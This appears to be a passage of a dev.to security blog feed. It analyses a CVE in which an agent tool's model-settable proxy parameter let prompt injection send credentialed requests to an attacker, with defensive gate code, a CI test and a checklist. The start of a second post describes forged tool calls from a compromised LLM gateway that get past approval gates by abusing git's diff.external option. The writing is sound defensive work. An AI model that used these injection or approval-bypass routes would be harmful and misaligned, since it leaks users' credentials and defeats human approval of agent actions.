src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522http%2520target%2520via%2520proxy%2522%252C%2522https%2520target%2520via%2520proxy%2522%252C%2522redirect%253A%2520Authorization%2522%252C%2522redirect%253A%2520X-API-Key%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Credential%2520readable%2520at%2520the%2520unintended%2520hop%2520%25281%2520%253D%2520yes%2529%2522%252C%2522data%2522%253A%255B1%252C0%252C0%252C1%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%25232e7d32%2522%252C%2522%25232e7d32%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Measured%2520locally%253A%2520did%2520the%2520unintended%2520hop%2520see%2520the%2520secret%253F%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A1%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Measured locally: did the unintended hop see the secret?" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How big was the fix?
&lt;/h2&gt;

&lt;p&gt;Small, which is the instructive part. PR #513 changed two files, with 14 additions and 26 deletions. It deleted the &lt;code&gt;proxies&lt;/code&gt; property from the tool's JSON schema, deleted the doc example that showed a proxy, and stopped forwarding &lt;code&gt;tool_input.get("proxies")&lt;/code&gt; to &lt;code&gt;requests&lt;/code&gt;. The test that asserted "the proxy was passed through" now asserts the opposite: an LLM-supplied &lt;code&gt;proxies&lt;/code&gt; field must not reach &lt;code&gt;requests&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I extracted the &lt;code&gt;TOOL_SPEC&lt;/code&gt; from both tagged versions and diffed the property names:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;v0.8.1 properties: 22
v0.8.2 properties: 21
removed: ['proxies'] | added: []
route-affecting keys still LLM-visible in 0.8.2: ['allow_redirects', 'auth_env_var', 'url', 'verify_ssl']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The last line is my own classification of which remaining properties influence where a request goes or how it is protected. I am not claiming any of them is exploitable. The point is that after a fix like this, the right question is the one the patch author implicitly asked: which knobs on this tool should a model ever hold? The patch's own comment answers it for proxies: "Proxies are an operator/deployment concern, not something the model should choose."&lt;/p&gt;

&lt;h2&gt;
  
  
  Which gate design would have stopped it?
&lt;/h2&gt;

&lt;p&gt;Here is a runnable model of three gate designs against five credential-leaking requests and two legitimate ones. It is illustrative, not a benchmark of any product, and gate C is my design, not what Strands shipped (they removed the knob).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;
&lt;span class="no"&gt;APPROVED_HOSTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"api.github.com"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="no"&gt;APPROVED_ORIGINS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"https"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"api.github.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"http"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"https"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scheme&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;gate_a&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="no"&gt;APPROVED_HOSTS&lt;/span&gt;   &lt;span class="c1"&gt;# hostname only&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;gate_b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="no"&gt;APPROVED_ORIGINS&lt;/span&gt;                     &lt;span class="c1"&gt;# scheme + host + port&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;gate_c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;gate_b&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"proxies"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; \
                        &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"follow_redirects_to_other_origin"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# origin + fixed route&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;attack                                             A    B    C
http:// URL + model-chosen proxy                   LEAK blk  blk
http:// URL, no proxy (cleartext on the wire)      LEAK blk  blk
same host, other port                              LEAK blk  blk
approved origin, redirect to another origin        LEAK LEAK blk
unapproved host                                    blk  blk  blk
blocked of 5 {'A': 1, 'B': 4, 'C': 5}
legit allowed: {'A': 2, 'B': 2, 'C': 2} of 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Hostname-only%2522%252C%2522Exact%2520origin%2522%252C%2522Origin%2520%252B%2520fixed%2520route%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Leaking%2520requests%2520blocked%2520%2528of%25205%2529%2522%252C%2522data%2522%253A%255B1%252C4%252C5%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Credential-leaking%2520requests%2520blocked%252C%2520out%2520of%25205%2522%252C%2522fontSize%2522%253A26%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A5%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Hostname-only%2522%252C%2522Exact%2520origin%2522%252C%2522Origin%2520%252B%2520fixed%2520route%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Leaking%2520requests%2520blocked%2520%2528of%25205%2529%2522%252C%2522data%2522%253A%255B1%252C4%252C5%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25232e7d32%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Credential-leaking%2520requests%2520blocked%252C%2520out%2520of%25205%2522%252C%2522fontSize%2522%253A26%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A5%252C%2522stepSize%2522%253A1%257D%257D%255D%257D%257D%257D" alt="Credential-leaking requests blocked, out of 5" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three observations. Gate A, the hostname check, stops only the case everybody thinks of. Gate B closes three more by comparing the whole origin, and it costs nothing on legitimate traffic. Gate C closes the last one, the route, and it does so by removing the model's say over routing rather than by inspecting the route.&lt;/p&gt;

&lt;p&gt;That last design principle is the one to carry away. You can try to validate a model-supplied proxy URL, but the validation has to know every host you consider safe, every scheme, every redirect, and every environment variable the HTTP library reads. Taking the parameter out of the schema is a smaller attack surface than any validator, and it is the option the maintainers chose.&lt;/p&gt;

&lt;p&gt;A cheap regression guard is a CI test that fails when someone adds a property to a credentialed tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="no"&gt;REVIEWED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"headers"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"body"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"timeout"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"auth_type"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"auth_env_var"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_credentialed_tool_schema_is_reviewed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_spec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_spec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"inputSchema"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"json"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"properties"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="no"&gt;REVIEWED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;"unreviewed model-visible parameters: {sorted(props - REVIEWED)}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the test fails, a person has to decide whether the model should hold the new knob. That one review step would have caught &lt;code&gt;proxies&lt;/code&gt; the day it was added.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does the timeline matter right now?
&lt;/h2&gt;

&lt;p&gt;Because the vulnerable tool's home is closing. From the release notes:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-06-25&lt;/td&gt;
&lt;td&gt;PR #513 merged, v0.8.2 released with &lt;code&gt;proxies&lt;/code&gt; removed (the fix)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-07-31&lt;/td&gt;
&lt;td&gt;AWS bulletin 2026-069-AWS published (36 days after the fix)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td&gt;v0.8.9 lists &lt;code&gt;http_request&lt;/code&gt; among deprecated tools (82 days after the fix)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-11-04&lt;/td&gt;
&lt;td&gt;v0.9.0: package and repository deprecated, no updates for earlier versions, deprecation warnings become import errors (132 days after the fix)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Across v0.8.9 to v0.8.12 (September 15 to November 2), the release notes list 34 tools by name as deprecated, including &lt;code&gt;python_repl&lt;/code&gt;, &lt;code&gt;mcp_client&lt;/code&gt;, &lt;code&gt;browser&lt;/code&gt;, &lt;code&gt;code_interpreter&lt;/code&gt;, &lt;code&gt;use_computer&lt;/code&gt;, &lt;code&gt;file_write&lt;/code&gt;, &lt;code&gt;editor&lt;/code&gt; and &lt;code&gt;use_aws&lt;/code&gt;. The notes do not give a reason for the deprecations, and I will not guess one. The v0.9.0 notes say the same capabilities now ship as built-in tools in the Strands Harness SDK, with a migration guide linked from the release.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522v0.8.9%2520%2528Sep%252015%2529%2522%252C%2522v0.8.10%2520%2528Oct%252021%2529%2522%252C%2522v0.8.11%2520%2528Oct%252030%2529%2522%252C%2522v0.8.12%2520%2528Nov%25202%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Tools%2520deprecated%2520by%2520name%2522%252C%2522data%2522%253A%255B6%252C4%252C15%252C9%255D%252C%2522backgroundColor%2522%253A%255B%2522%25235bc0de%2522%252C%2522%25235bc0de%2522%252C%2522%2523f0ad4e%2522%252C%2522%2523f0ad4e%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522strands-agents-tools%253A%2520tools%2520deprecated%2520per%2520release%2520%252834%2520total%2529%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522v0.8.9%2520%2528Sep%252015%2529%2522%252C%2522v0.8.10%2520%2528Oct%252021%2529%2522%252C%2522v0.8.11%2520%2528Oct%252030%2529%2522%252C%2522v0.8.12%2520%2528Nov%25202%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Tools%2520deprecated%2520by%2520name%2522%252C%2522data%2522%253A%255B6%252C4%252C15%252C9%255D%252C%2522backgroundColor%2522%253A%255B%2522%25235bc0de%2522%252C%2522%25235bc0de%2522%252C%2522%2523f0ad4e%2522%252C%2522%2523f0ad4e%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522strands-agents-tools%253A%2520tools%2520deprecated%2520per%2520release%2520%252834%2520total%2529%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%257D%257D%255D%257D%257D%257D" alt="strands-agents-tools: tools deprecated per release (34 total)" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Practical consequences for anyone running it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check your pin.&lt;/strong&gt; Anything below 0.8.2 has the bug. The bulletin also tells you to rotate credentials configured through &lt;code&gt;HTTP_REQUEST_TOKEN_CONFIG&lt;/code&gt; on affected versions "even if there is no indication a credential was exposed."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Do not just upgrade to the latest.&lt;/strong&gt; v0.9.0 replaces deprecation warnings with import errors for all tools. It will not give you a patched &lt;code&gt;http_request&lt;/code&gt;; it will break the import.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Re-run your own review on the replacement.&lt;/strong&gt; I did not audit the SDK's built-in tools. The questions in this post (which parameters can the model set, which hops can a credential visit, which methods skip consent) apply to them as much as to the old package.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What is a short checklist for credentialed agent tools?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;List every parameter the model can set, then mark the ones that decide where bytes go: URL, scheme, port, proxy, redirect policy, TLS verification, base URL, DNS override.&lt;/li&gt;
&lt;li&gt;Bind credentials to an origin (scheme, host, port), not a hostname.&lt;/li&gt;
&lt;li&gt;Put routing in operator configuration, outside the model-visible schema.&lt;/li&gt;
&lt;li&gt;Do not follow redirects with credentials attached unless the target origin is also approved.&lt;/li&gt;
&lt;li&gt;Apply consent to credentialed reads too. A GET that carries a secret is not a read-only action.&lt;/li&gt;
&lt;li&gt;Add a schema-allowlist test so a new parameter forces a review.&lt;/li&gt;
&lt;li&gt;Rotate after the fact. A leaked token that was never noticed is still leaked.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is CVE-2026-18394?&lt;/strong&gt;&lt;br&gt;
An incorrect-authorization flaw (CWE-863) in the &lt;code&gt;http_request&lt;/code&gt; tool of &lt;code&gt;strands-agents-tools&lt;/code&gt; before 0.8.2. The model could set a &lt;code&gt;proxies&lt;/code&gt; parameter, so an indirect prompt injection could route a credentialed request through an attacker-controlled proxy and bypass the hostname allowlist for &lt;code&gt;HTTP_REQUEST_TOKEN_CONFIG&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which versions are affected and what is the fix?&lt;/strong&gt;&lt;br&gt;
Versions before 0.8.2 are affected. Version 0.8.2 removes &lt;code&gt;proxies&lt;/code&gt; from the model-visible input. Proxies are now configured only through &lt;code&gt;HTTP_PROXY&lt;/code&gt; and &lt;code&gt;HTTPS_PROXY&lt;/code&gt; in the environment, or in code. The advisory also recommends rotating credentials configured on affected versions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Would HTTPS have protected the token?&lt;/strong&gt;&lt;br&gt;
In my local test, a proxy on an &lt;code&gt;https://&lt;/code&gt; request saw only the &lt;code&gt;CONNECT&lt;/code&gt; line and not the Authorization header, because certificate verification was on. The bulletin's cleartext scenario applies when the approved hostname is requested over plain HTTP, which a hostname-only allowlist permits. Do not rely on TLS to rescue a gate that ignores the scheme.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is an allowlist enough for credentialed tools?&lt;/strong&gt;&lt;br&gt;
Only if it covers the origin and the route. A hostname list alone does not constrain scheme, port, proxy or redirects. Pin the exact origin, keep routing out of the model's hands, and add consent for credentialed requests regardless of HTTP method.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Should I upgrade to v0.9.0?&lt;/strong&gt;&lt;br&gt;
Not as a security fix. The release deprecates the package and turns every tool into an import error. Stay on a patched version only as a bridge, and plan the migration to the replacement tools, reviewing their parameters before you give them credentials.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The "Read-Only" Fast Path Is Your Weakest Gate: A Newline Let Hidden Commands Through an Agent's Bash Check (published 2026-11-05, same series)&lt;/li&gt;
&lt;li&gt;The Model Is Not a Security Boundary: What Two Semantic Kernel CVEs Teach About Gating Tool Arguments (published 2026-10-22, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;GitHub Security Advisory GHSA-qhw6-2h72-m84v, "Strands Agents Tools HTTP Request Proxy Credential Exfiltration": &lt;a href="https://github.com/strands-agents/tools/security/advisories/GHSA-qhw6-2h72-m84v" rel="noopener noreferrer"&gt;https://github.com/strands-agents/tools/security/advisories/GHSA-qhw6-2h72-m84v&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;AWS Security Bulletin 2026-069-AWS, CVE-2026-18394 (2026-07-31): &lt;a href="https://aws.amazon.com/security/security-bulletins/2026-069-aws/" rel="noopener noreferrer"&gt;https://aws.amazon.com/security/security-bulletins/2026-069-aws/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Fix: strands-agents/tools pull request 513, "fix(http_request): remove proxies from LLM-controllable tool input schema": &lt;a href="https://github.com/strands-agents/tools/pull/513" rel="noopener noreferrer"&gt;https://github.com/strands-agents/tools/pull/513&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Release notes v0.8.2, v0.8.9 to v0.8.12 and v0.9.0: &lt;a href="https://github.com/strands-agents/tools/releases" rel="noopener noreferrer"&gt;https://github.com/strands-agents/tools/releases&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Local reproduction: &lt;code&gt;requests&lt;/code&gt; 2.34.2, localhost listeners, fake token only, no external traffic; schema diff computed from the &lt;code&gt;TOOL_SPEC&lt;/code&gt; of tags v0.8.1 and v0.8.2 of &lt;code&gt;src/strands_tools/http_request.py&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Illustrative gate model: author's own script, five leaking requests and two legitimate ones, not a benchmark of any product&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>python</category>
      <category>llm</category>
    </item>
    <item>
      <title>The Model Never Ran: Why an Agent's Approval Gate Cannot Trust the Wire Between It and Its LLM</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Mon, 09 Nov 2026 14:24:45 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/the-model-never-ran-why-an-agents-approval-gate-cannot-trust-the-wire-between-it-and-its-llm-2ecn</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/the-model-never-ran-why-an-agents-approval-gate-cannot-trust-the-wire-between-it-and-its-llm-2ecn</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;HiddenLayer researchers published "Man-in-the-Model" on October 22, 2026. Their point: if an attacker controls the inference server or LLM gateway that sits between a coding agent and its model, the attacker can inject tool calls the model never requested, and the agent will run them.&lt;/li&gt;
&lt;li&gt;Approval systems did not stop this in the demonstrations. In the Codex example, a forged command began with the already-approved &lt;code&gt;git&lt;/code&gt; prefix, so it ran without a prompt. The trick was a &lt;code&gt;-c diff.external=...&lt;/code&gt; option that makes git execute a shell command.&lt;/li&gt;
&lt;li&gt;A related pattern, CoreBreak (Cloud Security Alliance note, August 6, 2026), put CVEs on dispatch layers that "did not consistently verify that a tool-call instruction had legitimately originated from a model turn."&lt;/li&gt;
&lt;li&gt;I ran git 2.53.0 locally and confirmed that &lt;code&gt;diff.external&lt;/code&gt; and &lt;code&gt;core.fsmonitor&lt;/code&gt; both execute commands, and that &lt;code&gt;--output&lt;/code&gt; writes files, from a command that starts with &lt;code&gt;git&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In a small runnable model, a prefix allowlist blocked 1 of 6 forged calls, an argv-aware allowlist blocked 4, and a provenance check blocked all 6. The model is illustrative, not a product benchmark.&lt;/li&gt;
